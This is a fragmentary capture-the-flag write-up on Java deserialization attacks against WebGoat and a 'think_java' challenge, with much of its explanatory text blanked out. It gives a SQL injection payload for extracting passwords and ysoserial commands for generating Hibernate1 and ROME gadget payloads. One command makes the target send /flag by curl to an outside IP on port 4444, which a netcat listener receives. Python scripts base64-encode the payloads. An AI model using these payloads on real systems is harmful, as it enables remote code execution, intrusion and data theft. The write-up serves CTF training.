

#

(Serialization)



Java

WebGoat_Javaweb

```
java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-30099844c6-1.jar  
ysoserial.GeneratePayload Hibernate1 calc.exe > payload.bin
```

2020- - -Web-think_java

0x01

```
javaweb  
swagger  
myapp, name,pwd
```

```
POST /common/test/sqlDict  
dbName=myapp?a=' union select (select pwd from user)#
```

0x02

/swagger-ui.html

```
{  
  "password": "ctfhub_29588_13038",  
  "username": "ctfhub"  
}
```

```
{  
  "data":  
    "Bearer  
r00ABXNyABhjb15hYmMuY29yZS5tb2RibC5Vc2VyVm92RkMxewT0OglAAkwAAmlkdAAQTGphdmEvdGFuZ  
y9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmVuZt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMj  
yPFAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoasIR0LIOCLAgAAeHAAAAAAAAAAAAAXQABmN0Zm  
h1Yg==",
```

```
"msg": "      ",
"status": 2,
"timestamps": 1594549037415
}
```

0x03

```
JAVAWEB      :
              r00AB      JAVA      base64
              aced      java      16
```

```
      py2      base64
import base64
a
=rO0ABXNyABhjb25hYmMuY29yZS5tb2RlYmV5VW92RkMxewT0OgIAAkWAAmlkdAAQTGphdmEvdGFu
Zy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmduZzt4cHNyAA5qYXZlLmxhbmcuTG9uZzuL5JDM
jyPFAgABSgAFdmFsdWV4cGAmF2YS5sYW5nLk51bWJlcoasIROlIOCLAgAAeHAAAAAAAAAAAAAXQABWfkb
Wlu"
b = base64.b64decode(a).encode('hex')
print(b)
```

```
      SerializationDumper
java -jar SerializationDumper.jar base64
```

0x04 payload

/common/user/current

```
      ysoserial
java -jar ysoserial-master-30099844c6-1.jar ROME "curl http://47.75.212.155:4444 -d @/flag" > xiaodi.bin
      py2
import base64
file = open("xiaodi.bin", "rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
```

0x05 flag

nc -lvvp 4444



<https://github.com/frohoff/ysoserial/releases>

<https://github.com/WebGoat/WebGoat/releases>

<https://github.com/NickstaDB/SerializationDumper/releases/tag/1.>

12

import base64

c=open("payload.bin","rb").read()

cc=base64.urlsafe_b64encode(c)

open("payload.txt","wt",encoding="utf-8").write(cc.decode())
